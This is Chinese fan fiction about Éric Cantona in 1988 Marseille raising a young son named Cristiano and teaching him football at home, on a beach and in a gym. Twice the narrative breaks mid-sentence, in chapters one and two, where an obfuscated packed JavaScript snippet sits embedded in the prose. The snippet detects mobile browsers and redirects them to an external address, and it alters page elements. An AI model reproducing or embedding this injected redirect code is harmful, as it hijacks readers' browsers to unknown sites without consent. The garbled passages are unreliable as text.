《【足球】红魔之子》 1. 三岁的足球 1988年2月6日，法国马赛，清晨的阳光刚刚爬上旧港区的屋顶，海风裹挟着咸腥味钻进半开的窗户。艾米莉·坎通纳系着围裙，把煎得金黄的吐司装进盘子，朝楼上喊了一声：“埃里克！克里斯！早餐好了！” 楼上的卧室里，三岁的克里斯蒂亚诺·罗纳尔多·坎通纳正坐在床边，两条小腿悬空晃荡着，手里紧紧攥着一只小小的皮球——那是父亲昨晚送给他的生日礼物。他低头盯着球，手指轻轻摩挲着粗糙的皮革纹路，像是在研究什么了不起的宝贝。 房门被推开，埃里克·坎通纳走了进来，身上还穿着马赛队的训练外套。他蹲下身，揉了揉儿子的头发：“怎么还不下楼？妈妈在等我们。” 克里斯蒂亚诺抬起头，眼睛亮晶晶的：“爸爸，我能带它去吃饭吗？”他举起小球，语气里满是期待。 坎通纳笑了：“可以，但别在餐桌上踢。” “我不会的！”克里斯蒂亚诺立刻跳下床，光着脚丫就往门外跑，球牢牢抱在怀里，像是怕它突然飞走似的。 坎通纳跟在后面，无奈地摇摇头：“穿上拖鞋，地板凉。” 克里斯蒂亚诺已经冲到了楼梯口，听到父亲的话，又折返回来，胡乱踩进拖鞋里，然后继续往楼下跑。坎通纳伸手扶住他的肩膀，免得他跑得太急摔下去。 厨房里，艾米莉正在倒牛奶，看到儿子抱着球冲进来，忍不住笑了：“看来某个小家伙很喜欢他的礼物。” 克里斯蒂亚诺用力点头，把球举给她看：“妈妈，你看！是爸爸的球！” “是‘你的’球，”坎通纳纠正道，拉开椅子坐下，“不过你得答应我，好好对待它，不能随便乱丢。” “我会的！”克里斯蒂亚诺爬上自己的椅子，小心翼翼地把球放在膝盖上，然后伸手去抓吐司。 艾米莉把牛奶推到他面前：“先喝一口。” 克里斯蒂亚诺乖乖端起杯子喝了一口，嘴角沾了一圈奶沫，又迫不及待地伸手去摸球。 坎通纳咬了一口吐司，看着儿子：“今天训练结束得早，下午带你去公园踢球，怎么样？” 克里斯蒂亚诺的眼睛瞬间睁大，差点从椅子上蹦起来：“真的？” “真的，”坎通纳点头，“但前提是你要好好吃完早餐，然后帮妈妈收拾桌子。” “我现在就吃！”克里斯蒂亚诺立刻抓起吐司，大口咬下去，腮帮子鼓鼓的，像只小仓鼠。 艾米莉笑着摸了摸他的头：“慢点，没人跟你抢。” 坎通纳看着母子俩，嘴角微微扬起。他伸手拿过报纸，翻到体育版，扫了一眼今天的训练安排。 “你今天几点回来？”艾米莉问。 “中午应该就能结束，”坎通纳折起报纸，“下午没什么事，正好带他出去玩玩。” 克里斯蒂亚诺已经飞快地吃完了早餐，跳下椅子，抱起球：“我吃完了！现在能去踢球了吗？” 坎通纳挑眉：“我说的是‘下午’，现在才早上。” 克里斯蒂亚诺的小脸垮了下来：“可是我想现在就去……” “你得学会等待，”坎通纳站起身，把盘子放进水池，“足球不是着急就能踢好的。” 克里斯蒂亚诺撅着嘴，但没再坚持。他低头看着怀里的球，小声嘀咕：“那我先练习一下……” 艾米莉擦了擦手，蹲下来看着他：“爸爸要去训练了，你得让他先换衣服。不如我们先把桌子收拾好，然后你可以去院子里玩一会儿，好吗？” 克里斯蒂亚诺想了想，点点头：“好。” 坎通纳揉了揉他的头发，转身上楼去换训练服。艾米莉递给儿子一块抹布：“来，帮我擦桌子。” 克里斯蒂亚诺一手抱着球，一手笨拙地擦着桌面，眼睛却一直往窗外瞟。院子里有一小块空地，他已经在脑子里规划待会儿要怎么踢球了。 坎通纳换好训练服从楼上下来时，克里斯蒂亚诺已经站在院子里，小皮球放在地上，正用脚尖轻轻拨弄着。阳光洒在他卷曲的黑发上，照得发梢泛着金色的光晕。 “姿势不对。”坎通纳站在门廊下说道。 克里斯蒂亚诺猛地抬头，看见父亲双手抱胸站在那里，立即挺直了小身板：“爸爸！” “用脚内侧触球，”坎通纳走下台阶，“不是用脚尖。脚尖踢球会飞得到处都是。” 他蹲下身，把自己的脚伸到儿子面前示范：“看到这里没有？用这块地方。” 克里斯蒂亚诺低头看看父亲的脚，又看看自己的小脚丫，认真地点点头。他试着模仿父亲的动作，结果用力过猛，球滚出了老远。 “没关系，”坎通纳走过去把球捡回来，“再来一次。轻一点。” 艾米莉从厨房窗户探出头来：“埃里克，你的咖啡要凉了。” 坎通纳回头应了一声：“马上。”然后对儿子说：“再试五次，然后爸爸要去喝咖啡了。” 克里斯蒂亚诺抿着嘴，全神贯注地盯着球。这一次，他的动作轻柔了许多，球听话地向前滚动了一小段距离。 “好多了！”坎通纳拍拍手，“继续练习，爸爸一会儿就回来。” 克里斯蒂亚诺继续在院子里练习，时而成功，时而失败，但每次球滚远了他都会自己追回来。艾米莉端着咖啡走到门口，递给丈夫。 “这么小就开始教他？”她看着儿子笨拙但认真的动作。 坎通纳接过咖啡，嘴角带着笑意：“只是玩玩。不过你看他的眼神，他是真的喜欢。” “像你小时候。”艾米莉靠在门框上。 坎通纳喝了一口咖啡：“比我强。我三岁时还在用易拉罐砸邻居家的窗户。” 两人相视一笑。这时，克里斯蒂亚诺突然发出一声欢呼，他成功地把球踢到了院墙边，又稳稳地停住了。 “爸爸！你看！”他兴奋地挥舞着小手。 坎通纳放下咖啡杯，走过去蹲在儿子面前：“做得很好。不过……”他指了指球，“现在试试用另一只脚。” 克里斯蒂亚诺的小脸立刻垮了下来：“可是那只脚不会……” “所以才要练习，”坎通纳轻轻捏了捏他的脸蛋，“厉害的球员两只脚都要会用。” 艾米莉走过来：“好了，别太严格。他才三岁。” 坎通纳站起身：“好吧，今天就到这里。”他看了看手表，“我得去训练了。” 克里斯蒂亚诺立刻抱住父亲的腿：“你说了下午带我去公园的！” “我记得，”坎通纳弯腰把他抱起来，“中午回来就带你去。现在跟爸爸说再见。” “再见，爸爸。”克里斯蒂亚诺在父亲脸上亲了一下，“早点回来。” 坎通纳把他放下，拿起放在门口的训练包：“在家听妈妈的话。” 艾米莉牵着儿子的手站在门口，看着坎通纳走向停在路边的汽车。克里斯蒂亚诺突然挣脱母亲的手，抱着球追了上去。 “爸爸！”他气喘吁吁地停在车旁，“我的球……给你带着。” 坎通纳愣了一下，接过那个小皮球：“为什么？” “这样你训练的时候……就能想起我。”克里斯蒂亚诺认真地说，“然后就会快点回来。” 坎通纳的眼角微微发红。他蹲下身，把球轻轻塞回儿子怀里：“爸爸不需要球才能想起你。而且……”他指了指自己的胸口，“你一直在这里。现在回去吧，太阳太大了。” 克里斯蒂亚诺点点头，抱着球慢慢走回母亲身边。坎通纳坐进车里，透过挡风玻璃看到儿子一直站在路边挥手，直到车子拐过街角。 中午的阳光直射在马赛俱乐部的训练场上，坎通纳擦了擦额头的汗水，把训练背心脱下来搭在肩上。队友们三三两两地往更衣室走去，他却站在场边又加练了五个任意球。 “埃里克，还不走？”教练在远处喊道。 坎通纳把最后一个球踢进球门右上角：“马上！”他小跑着捡回足球，突然想起早上儿子把球塞给他的样子，嘴角不自觉地上扬。 更衣室里，他快速冲了个澡，拒绝了队友们去咖啡馆的邀请。“答应了儿子带他去公园，”他一边系衬衫扣子一边说，“下次吧。” 开车回家的路上，坎通纳在面包店门口停下，买了一个巧克力面包。他知道这是克里斯蒂亚诺最喜欢的点心，每次吃完都会把巧克力酱蹭得满脸都是。 当坎通纳推开家门时，屋里静悄悄的。他把面包放在厨房桌上，听见后院传来轻轻的“砰、砰“声。透过窗户，他看到克里斯蒂亚诺正一个人对着墙壁踢球，小脸晒得通红，T恤后背已经湿了一片。 “嘿，小球员， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520582|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”坎通纳走到院子里，“该休息一下了。” 克里斯蒂亚诺转过身，眼睛一亮：“爸爸！”他跑过来抱住父亲的腿，“我一直在等你！” 坎通纳弯腰把他抱起来，感觉儿子浑身热乎乎的：“练了多久了？” “从你走就开始，”克里斯蒂亚诺搂着父亲的脖子，“妈妈说我可以玩到吃午饭。” 坎通纳用额头贴了贴儿子的脸：“热得像个小火炉。来，喝点水，然后我们去公园。” 艾米莉从屋里走出来，手里拿着毛巾和水杯：“我就知道你会提前回来。”她把水杯递给儿子，“他每隔五分钟就问一次‘爸爸回来了吗。’ ” 克里斯蒂亚诺咕咚咕咚喝了大半杯水，然后急切地看着父亲：“现在能去公园了吗？” “先把脸擦干净，”坎通纳接过毛巾，轻轻擦掉儿子脸上的汗水和灰尘，“然后换件干净衣服。” 十分钟后，父子俩手牵着手走向附近的公园。克里斯蒂亚诺穿着干净的蓝色短裤和白色T恤，兴奋地蹦蹦跳跳。他另一只手紧紧抱着那个小足球，生怕它跑掉似的。 公园里人不多，坎通纳找了个树荫下的长椅坐下，看着儿子在草地上跑来跑去。克里斯蒂亚诺先是试着把球踢向一棵大树，然后又追着球跑回来，乐此不疲。 “爸爸，看我！”他突然喊道，然后用力把球踢向空中。球飞得老高，但落下时克里斯蒂亚诺没接住，砸在了自己头上。 坎通纳立刻站起来，但看到儿子只是摸了摸头，又开心地去追球了，这才松了口气坐回去。 “再来一次！”克里斯蒂亚诺抱着球跑回来，小脸红扑扑的，“这次一定能接住！” 坎通纳点点头：“注意看球落下来的方向。” 这一次，克里斯蒂亚诺成功用胸口停住了球，虽然动作笨拙，但球确实没有弹走。他惊喜地抬头看向父亲：“我做到了！” “做得很好！”坎通纳鼓掌，“再来一次？” 就这样，父子俩在公园里度过了一个愉快的下午。克里斯蒂亚诺不知疲倦地跑着、踢着，坎通纳则时不时地纠正他的动作，或者示范新的技巧。当太阳开始西沉时，克里斯蒂亚诺终于累得坐在了草地上。 坎通纳走过去坐在他旁边：“玩得开心吗？” 克里斯蒂亚诺点点头，靠在父亲身上：“爸爸，我长大后要像你一样踢球。” 坎通纳搂住儿子小小的肩膀：“你会比我踢得更好。” “真的吗？” “真的，”坎通纳看着远处正在落山的太阳，“只要你足够努力。” 克里斯蒂亚诺认真地点点头，然后打了个哈欠。坎通纳笑着把他抱起来：“回家吧，小冠军。” 回家的路上，克里斯蒂亚诺趴在父亲肩头，手里还抓着那个已经沾满草屑的小足球。他的眼皮越来越重，但还在小声嘀咕：“明天……还来踢球……” 坎通纳轻轻拍了拍儿子的背：“明天还来。” 当艾米莉打开门时，看到的是丈夫抱着熟睡的儿子站在门口。她微笑着让开位置：“看来玩得很尽兴。” 坎通纳小心翼翼地把克里斯蒂亚诺放在床上，轻轻脱掉他的鞋子。艾米莉拿来湿毛巾，擦干净儿子脏兮兮的小脸和手脚。 “他今天用胸口停住球了，”坎通纳低声说，语气里带着掩饰不住的骄傲，“第一次尝试就成功了。” 艾米莉给儿子盖上薄被，轻声道：“因为他有个好老师。” 坎通纳站在床边看了一会儿，然后弯腰在儿子额头上亲了一下。克里斯蒂亚诺在睡梦中动了动，把小足球往怀里搂得更紧了。 “走吧，”艾米莉拉着丈夫的手，“让他睡会儿。我做了你喜欢的炖菜。” 坎通纳最后看了一眼熟睡的儿子，轻轻关上了房门。走廊里，他搂住妻子的肩膀：“明天我要教他怎么用头球。” 艾米莉笑着摇头：“他才三岁，埃里克。” “四岁生日一过就开始正式训练，”坎通纳认真地说，“我已经计划好了。” 艾米莉无奈地叹了口气，但看着丈夫眼中闪烁的光芒，她知道这只是一个父亲、一个球员最纯粹的爱与期待。而此刻，在卧室里，克里斯蒂亚诺正抱着他的小足球，梦见自己穿着和父亲一样的球衣，在满场欢呼声中奔跑。 2. 第一个进球 周末清晨七点，坎通纳家的厨房里飘着咖啡和烤面包的香气。艾米莉正在往篮子里装野餐的食物，时不时抬头看看墙上的时钟。 “埃里克，该叫克里斯起床了，”她朝楼上喊道，“不是说好八点出发去海滩吗？” 楼上卧室里，坎通纳正站在床边，低头看着四岁的克里斯蒂亚诺。小家伙蜷缩在被子里，怀里还抱着那个已经有些磨损的小足球。 “克里斯，”坎通纳轻轻摇了摇儿子的肩膀，“该起床了。” 克里斯蒂亚诺迷迷糊糊地睁开眼，看到父亲站在床边，立刻清醒了几分：“爸爸？今天要训练吗？” 坎通纳忍不住笑了：“不是说好去海滩玩吗？你还说要和诺亚比赛堆沙堡。” 克里斯蒂亚诺一骨碌爬起来，足球从被子里滚落到地上：“诺亚！我忘了！”他跳下床，光着脚就往衣柜跑，“我要穿蓝色短裤！” “先穿拖鞋，”坎通纳弯腰捡起球，“还有，刷牙洗脸。” 十分钟后，克里斯蒂亚诺咚咚咚地跑下楼，头发乱蓬蓬的，T恤前后穿反了却不自知。他冲到餐桌前，抓起一片面包就往嘴里塞。 艾米莉转身看到他，忍不住笑出声：“宝贝，你的衣服……” 克里斯蒂亚诺低头看了看，一脸茫然：“怎么了？” 坎通纳走过来，帮他把T恤脱下来重新穿好：“这样才对。吃东西慢点，别噎着。” “可是诺亚在等我们！”克里斯蒂亚诺嘴里塞满面包，含糊不清地说。 “诺亚知道我们要吃完早餐才去，”艾米莉给他倒了杯牛奶，“而且他爸爸昨天出海了，说不定他们还没准备好呢。” 克里斯蒂亚诺一口气喝完牛奶，嘴边留下一圈白印子：“那我们现在能走了吗？” 坎通纳看了看手表：“再等十分钟，让妈妈收拾完东西。” 终于，一家人收拾妥当出门了。克里斯蒂亚诺走在中间，一手牵着父亲，一手牵着母亲，蹦蹦跳跳的像只小兔子。他背着小背包，里面装着他的宝贝足球和泳裤。 转过两个街角，他们来到了诺亚家门前。这是一栋蓝色的两层小楼，门口挂着渔网和浮标。克里斯蒂亚诺松开父母的手，跑上前去敲门：“诺亚！诺亚！我们来了！” 门开了，诺亚的母亲玛丽安·伯纳德出现在门口，她围着围裙，手上还沾着面粉：“早上好，坎通纳一家。诺亚正在楼上换衣服，马上就下来。” 正说着，楼梯上传来咚咚的脚步声。诺亚冲了下来，和克里斯蒂亚诺撞了个满怀。两个小男孩笑成一团。 “我们带了三明治和水果，”艾米莉对玛丽安说，“够大家一起吃的。” 玛丽安擦了擦手：“太好了，我刚烤了些饼干，正好带上。” 大人们忙着装车的时候，克里斯蒂亚诺和诺亚已经跑到路边玩起了传球游戏。说是传球，其实就是把球踢来踢去，时不时还会踢偏。 “看我这个！”克里斯蒂亚诺用力一脚，球高高飞起，落在了邻居家的院子里。 诺亚叹了口气：“又来了。这周第三次了。” 坎通纳走过来，揉了揉儿子的头发：“轻一点，控制力度。”他走到邻居家门前按了门铃，礼貌地要回了球。 “谢谢爸爸，”克里斯蒂亚诺接过球，小声对诺亚说，“我爸爸最厉害了，什么都能解决。” 诺亚点点头：“我爸爸能修渔船，还能预测天气。” “我爸爸能踢进好多球！” “我爸爸能捞好多鱼！” 两个小男孩你一言我一语地比较着，直到大人们叫他们上车。 坎通纳家的汽车在前，伯纳德家的旧皮卡在后，两家人向着马赛附近的一处小海滩驶去。克里斯蒂亚诺趴在车窗上，看着沿途的风景飞快后退。 “爸爸，我们下午能踢球吗？”他突然转过头问。 坎通纳从后视镜里看了儿子一眼：“当然，海滩上可以踢。不过要先涂防晒霜，不然会晒伤。” 克里斯蒂亚诺皱了皱鼻子：“防晒霜黏糊糊的……” “必须涂，”艾米莉转过头来，“上次你没涂，晚上疼得睡不着，还记得吗？” 克里斯蒂亚诺不情不愿地点点头，然后又兴奋起来：“诺亚！我们下午比赛踢球！” 诺亚从后面的座位上探出头：“好啊！不过我要先堆一个超级大的沙堡！” “那我先踢球，再帮你堆沙堡！” 两个小男孩在后座叽叽喳喳地计划着，大人们相视一笑。汽车沿着海岸线行驶，湛蓝的地中海在阳光下闪闪发光。 上午十点的海滩已经洒满阳光，细软的白沙被晒得微微发烫。克里斯蒂亚诺一下车就迫不及待地脱下凉鞋，光着脚丫在沙滩上跑来跑去，身后留下一串小小的脚印。 “慢点！”艾米莉在后面喊道，“先涂防晒霜！” 坎通纳铺开带来的大毛巾，把遮阳伞固定好。诺亚的父亲雅克·伯纳德从车上搬下冰桶和食物，艾米莉和玛丽安则忙着给两个孩子涂抹防晒霜。 “站好别动，”艾米莉按住扭来扭去的克里斯蒂亚诺，“耳朵后面也要涂到。” 克里斯蒂亚诺做了个鬼脸：“好凉啊！” 诺亚乖乖站着让玛丽安涂防晒霜，眼睛却一直盯着不远处的海浪：“克里斯，等会儿我们去踩水好不好？” “好啊！”克里斯蒂亚诺刚应声，突然想起什么，转向父亲，“爸爸，我们什么时候踢球？” 坎通纳正在和雅克摆放野餐的食物，闻言笑了笑：“先让食物消化一下，游泳完再踢。” 两个小男孩立刻冲向海边，在浅水区蹦蹦跳跳，溅起一片水花。坎通纳和雅克坐在遮阳伞下，看着孩子们玩耍。 “克里斯真的很喜欢足球，”雅克喝了口啤酒，“诺亚只对鱼感兴趣。” 坎通纳望着儿子在海浪中嬉戏的身影：“有时候我觉得他好像生来就知道自己要做什么。” 艾米莉和玛丽安加入了他们，四个人一边吃东西一边聊天。远处，克里斯蒂亚诺和诺亚已经开始堆沙堡，时不时传来争论声。 “塔要再高一点！”克里斯蒂亚诺的声音传来。 “太高会塌的！”诺亚坚持道。 午餐时间，两个小男孩浑身湿漉漉地跑回来，饿狼似的扑向三明治。克里斯蒂亚诺的头发沾满了沙子，T恤湿了一大半。 “慢点吃，”艾米莉用毛巾擦着儿子的头发，“没人跟你抢。” 克里斯蒂亚诺嘴里塞满食物，含糊地问：“爸爸，现在能踢球了吗？” 坎通纳看了看手表：“再休息半小时。刚吃完就跑会肚子疼。” 克里斯蒂亚诺失望地瘪瘪嘴，但还是乖乖坐好，小脚在沙子里划来划去。诺亚已经开始打哈欠，靠在他母亲身上昏昏欲睡。 半小时后，坎通纳站起身，拍了拍裤子上的沙子：“好了，谁要踢球？” 克里斯蒂亚诺立刻跳起来：“我！”他跑去拿来了自己的足球，小心翼翼地擦掉上面的沙子。 诺亚揉揉眼睛：“我可以当守门员。” 坎通纳在沙滩上找了块相对平坦的地方，用两根树枝插在沙子里当球门。“规则很简单，”他蹲下来对两个孩子说，“把球踢进对方门里就得一分。” 克里斯蒂亚诺认真地点头，把球放在自己面前：“我先开球！” 比赛开始了。说是比赛，其实更像是坎通纳在教两个孩子基本的踢球方法。克里斯蒂亚诺全神贯注地盯着球，小脸因为专注而皱成一团。他用力踢出一脚，球歪歪扭扭地滚向诺亚把守的“球门”。 诺亚扑向球，但动作慢了一步，球从他身边滚了过去。 “进球啦！”克里斯蒂亚诺欢呼着跳起来，冲向父亲，“爸爸！我进球了！” 坎通纳一把抱起儿子，转了个圈：“干得好！这是你的第一个正式进球！” 克里斯蒂亚诺搂着父亲的脖子，笑得眼睛眯成一条缝：“我还能进更多！” “当然可以，“坎通纳把他放下来，“不过现在轮到诺亚进攻了。” 游戏继续着，克里斯蒂亚诺越来越投入，甚至开始模仿父亲在电视上的动作。有一次他尝试用脚后跟传球，结果摔了个屁股蹲儿，但立刻爬起来继续跑。 太阳渐渐西斜，两个小男孩都累得气喘吁吁。克里斯蒂亚诺的小脸红得像熟透的苹果，头发被汗水打湿贴在额头上。 “最后一球，”坎通纳宣布，“然后我们该收拾东西回家了。” 克里斯蒂亚诺深吸一口气，把球放在沙滩上，后退几步。他盯着诺亚把守的小球门，突然助跑，用力踢出一脚。球划过一道弧线，越过诺亚的头顶，稳稳地落在“球门”后面。 “哇！”诺亚睁大眼睛，“这个好厉害！” 克里斯蒂亚诺转身看向父亲，眼睛里闪着光：“爸爸！你看到了吗？” 坎通纳走过去，蹲下来平视儿子：“看到了，这是个漂亮的弧线球。”他轻轻擦掉儿子脸上的沙子，“不过……” “不过什么？”克里斯蒂亚诺紧张地问。 “不过真正的球员比赛结束后要和对手握手，”坎通纳指了指诺亚，“去和你的朋友握个手吧。” 克里斯蒂亚诺跑向诺亚，伸出小手：“谢谢你和我踢球。” 诺亚握住他的手，咧嘴一笑：“你踢得真好。下次我们去码头踢，那里地面更平。” 两个小男孩的对话被大人们的笑声打断。雅克拍了拍坎通纳的肩膀：“看来我们马赛要出个小球星了。” 坎通纳看着儿子兴高采烈的样子，心里涌起一股暖流。他走过去帮艾米莉收拾野餐的东西，时不时抬头看看在浅水区最后玩一会儿的两个孩子。 “他今天真开心，”艾米莉把空瓶子装进袋子，“你应该多带他出来玩。” 坎通纳点点头：“等赛季结束我就有时间了。下周末还可以再来。” 收拾完东西，两家人准备离开海滩。克里斯蒂亚诺抱着他的足球，依依不舍地回头看了一眼他们踢球的场地。 “爸爸，”他拽了拽坎通纳的衣角，“我以后能每天都踢球吗？” 坎通纳把儿子抱起来：“等你再大一点，可以参加少年队的训练。” “真的吗？”克里斯蒂亚诺的眼睛亮了起来，“像你一样？” “像你一样，”坎通纳纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520583|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正道，“你会成为独一无二的克里斯蒂亚诺?罗纳尔多?坎通纳。” 克里斯蒂亚诺似懂非懂地点点头，把脑袋靠在父亲肩上。太阳渐渐沉入海平面，在他们身后拉出长长的影子。 回程的汽车里，克里斯蒂亚诺在后座昏昏欲睡，怀里还抱着那个沾满沙子的足球。他的眼皮越来越重，但嘴里还在嘟囔着今天的进球。 “爸爸……我进了……两个球……” 坎通纳从后视镜里看着儿子，轻声说：“睡吧，到家叫你。” 艾米莉转过头，轻轻把克里斯蒂亚诺歪向一边的脑袋扶正，让他靠得更舒服些。“他今天玩得太疯了，”她小声说，“不过很开心。” 到家时天已经黑了。坎通纳小心翼翼地把熟睡的儿子抱出来，尽量不惊醒他。克里斯蒂亚诺在父亲怀里动了动，小手仍然紧紧抓着足球。 “我来放洗澡水，”艾米莉轻声说，“他这一身沙子得上床可不行。” 坎通纳抱着儿子上楼，来到浴室。克里斯蒂亚诺被放进温水里时才迷迷糊糊醒过来，揉了揉眼睛：“到家了？” “嗯，”艾米莉拿起海绵，“抬手。” 克里斯蒂亚诺乖乖配合母亲洗澡，但当他发现自己的足球不在手里时，立刻清醒了几分：“我的球呢？” “在这里，”坎通纳从门口走进来，手里拿着已经冲洗干净的足球，“我把它洗干净了。” 克里斯蒂亚诺松了口气，接过湿漉漉的球抱在怀里：“谢谢爸爸。” 洗完澡，换上干净睡衣，克里斯蒂亚诺的精神反而好了起来。他坐在餐桌前，狼吞虎咽地吃着艾米莉热好的晚餐。 “慢点，”坎通纳提醒道，“没人跟你抢。” “我饿了嘛，”克里斯蒂亚诺嘴里塞满食物，含糊不清的说，“爸爸，明天还能踢球吗？” “明天我要训练，”坎通纳说，“不过后天下午可以。” 克里斯蒂亚诺的眼睛亮了起来：“那我能和诺亚一起去公园吗？” 艾米莉和坎通纳交换了一个眼神。“可以，”艾米莉说，“但得先问问诺亚的妈妈。” 吃完饭，克里斯蒂亚诺突然想起什么，跑进客厅打开电视。“爸爸，今天有你的比赛重播吗？”他一边按遥控器一边问。 坎通纳跟着走进来：“应该没有。不过……”他从抽屉里拿出一盘录像带，“这里有上周的比赛。” 克里斯蒂亚诺立刻坐直了身子，眼睛紧盯着电视屏幕。当坎通纳在画面上出现时，他激动地指着喊道：“是爸爸！” 坎通纳坐在儿子身边，耐心地解释着比赛中的每个动作。克里斯蒂亚诺听得很认真，时不时模仿电视里的动作。 “这个过人动作，”坎通纳按下暂停键，“你看，我先假装往这边，然后突然变向。” 克里斯蒂亚诺跳起来尝试，结果失去平衡摔在了地毯上。但他立刻爬起来：“再来一次！” 就这样，父子俩一个教一个学，直到艾米莉过来提醒该睡觉了。 “再等五分钟，”克里斯蒂亚诺恳求道，“就学最后一个动作！” “不行，”艾米莉坚定地说，“已经过睡觉时间了。” 克里斯蒂亚诺转向父亲，露出可怜巴巴的表情。坎通纳忍不住笑了：“听妈妈的。明天再继续。” 上楼时，克里斯蒂亚诺突然停下脚步：“爸爸，我能带着球睡觉吗？” 坎通纳看了看那个湿气还没完全干的足球：“今晚不行，球还没干透。明天早上你就能拿到它了。” 出乎意料的是，克里斯蒂亚诺没有吵闹，只是点点头：“好吧。”然后他补充道，“爸爸，我今天真的很开心。” 坎通纳弯腰亲了亲儿子的额头：“我也是。” 躺在床上，克里斯蒂亚诺的眼睛已经睁不开了，但还是强撑着问：“爸爸，我以后能进很多很多球吗？” “只要你努力练习，”坎通纳坐在床边，“一定能。” “我会的，”克里斯蒂亚诺的声音越来越小，“我会练习……很多次……” 等儿子的呼吸变得均匀深沉，坎通纳轻轻关上台灯，蹑手蹑脚地走出房间。楼下，艾米莉正在收拾客厅。 “睡着了？”她小声问。 坎通纳点点头，脸上带着若有所思的表情：“他说要努力练习。” 艾米莉笑了：“像他爸爸一样执着。” 坎通纳拿起那个被遗忘在沙发上的足球，用毛巾又仔细擦了一遍，然后轻轻放在门口的架子上。“明天一早他就能看到它了，”他说，“希望他不会太失望今晚不能抱着它睡。” 艾米莉走过来，握住丈夫的手：“你是个好父亲，埃里克。既教他踢球，也教他规矩。” 坎通纳看着窗外的月光，想着儿子今天在沙滩上踢进第一个球时那灿烂的笑容。“我只是希望他快乐，”他轻声说，“如果足球能让他快乐，那我就教他踢得更好。” 楼上，克里斯蒂亚诺翻了个身，在睡梦中露出微笑。他梦见自己穿着和父亲一样的球衣，在满场观众的欢呼声中，踢出了一个漂亮的弧线球。球划过天空，像今天在海滩上那样，稳稳地落进了球门。 3. 雨天的训练 马赛的天空阴沉沉的，厚重的云层压得很低。四岁的克里斯蒂亚诺趴在客厅窗台上，鼻子贴着玻璃，眼巴巴地望着外面的训练场。 “爸爸，今天还训练吗？”他扭头问道，声音里带着期待。 坎通纳正在厨房倒咖啡，闻言走到窗前看了看天色：“看样子要下雨了。今天可能改成室内训练。” 克里斯蒂亚诺的小脸立刻垮了下来：“可是你说今天教我射门的……” 艾米莉从楼上走下来，手里拿着一件小外套：“克里斯，把外套穿上，早上凉。”她看了眼窗外，“埃里克，天气预报说这雨要下一整天。” 坎通纳蹲下身，平视着儿子失望的眼睛：“室内也可以训练。俱乐部有健身房，我们可以练习基本功。” 克里斯蒂亚诺的眼睛重新亮了起来：“真的吗？我能跟你一起去吗？” “当然，”坎通纳揉了揉儿子的卷发，“不过你得保证听话，不打扰其他队员训练。” “我保证！“克里斯蒂亚诺立刻站直身子，像个小士兵一样严肃地点头。 半小时后，父子俩撑着伞走向汽车。克里斯蒂亚诺穿着小小的训练服，怀里抱着他的足球，小心翼翼地不让它淋湿。雨水打在伞面上，发出噼啪的声响。 “爸爸，为什么雨天不能踢球？”克里斯蒂亚诺仰头问道，雨滴溅在他的小脸上。 坎通纳把伞往儿子那边倾斜了些：“草地湿滑容易受伤。而且球会变得很重，不好控制。” 克里斯蒂亚诺似懂非懂地点点头，低头看了看怀里的球：“那我的球会变重吗？” “会的，”坎通纳打开车门，“所以今天我们用室内的训练球。” 马赛俱乐部的训练基地比平时安静许多，大部分队员都还没到。坎通纳带着儿子穿过走廊，来到一间空置的小健身房。 “先热身，”坎通纳把外套挂好，“跟着我做。” 克里斯蒂亚诺认真地模仿着父亲的动作，扭扭脖子，转转腰，虽然动作笨拙但十分投入。他的小训练服很快就因为运动变得皱巴巴的。 “好，现在我们来练习平衡，”坎通纳拿出一个小平衡板，“站在上面，试着保持不动。” 克里斯蒂亚诺小心翼翼地踩上去，立刻摇晃起来。他张开双臂，像只小企鹅一样左右摇摆。“爸爸！我要摔了！”他惊慌地喊道。 坎通纳站在旁边，随时准备扶住他：“别怕，摔不了。眼睛看前面固定的点。” 经过几次尝试，克里斯蒂亚诺终于能在板上保持几秒钟平衡了。他兴奋地跳下来：“我做到了！” “做得不错，”坎通纳赞许道，“现在试试单脚站立。” 正当他们练习时，几个队友走进健身房，看到坎通纳在教儿子训练，都笑着围了过来。 “嘿，小坎通纳，”皮埃尔蹲下身，“听说你要开始学头球了？” 克里斯蒂亚诺骄傲地点点头：“爸爸说等我再大一点就教我。” “他现在就能学，”另一位队友插嘴道，“我侄子五岁就开始练头球了。” 坎通纳摇摇头：“四岁太小，颈部肌肉还没发育好。”他转向儿子，“今天我们练脚下功夫。” 队友们开始各自的训练，健身房渐渐热闹起来。坎通纳找了个角落，用标志碟摆出一个小型障碍路线。 “来，试着带球绕过这些标志，”他示范了一遍，“记住，用脚内侧控制球。” 克里斯蒂亚诺全神贯注地盯着球，小心翼翼地绕过第一个标志，然后是第二个。到第三个时，球滚远了，他赶紧追上去。 “别急，”坎通纳走过来，“慢慢来，控制比速度重要。” 克里斯蒂亚诺点点头，擦了擦额头上的汗，重新开始尝试。这一次，他成功地带球绕过了所有标志。 “爸爸！你看！”他兴奋地喊道，差点撞上正在举铁的队友。 坎通纳把儿子拉回来：“小心点。做得很好，现在试试另一只脚。” 克里斯蒂亚诺的小脸皱成一团：“可是那只脚不听话……” “所以才要练习，”坎通纳把球放回起点，“厉害的球员两只脚都要会用。” 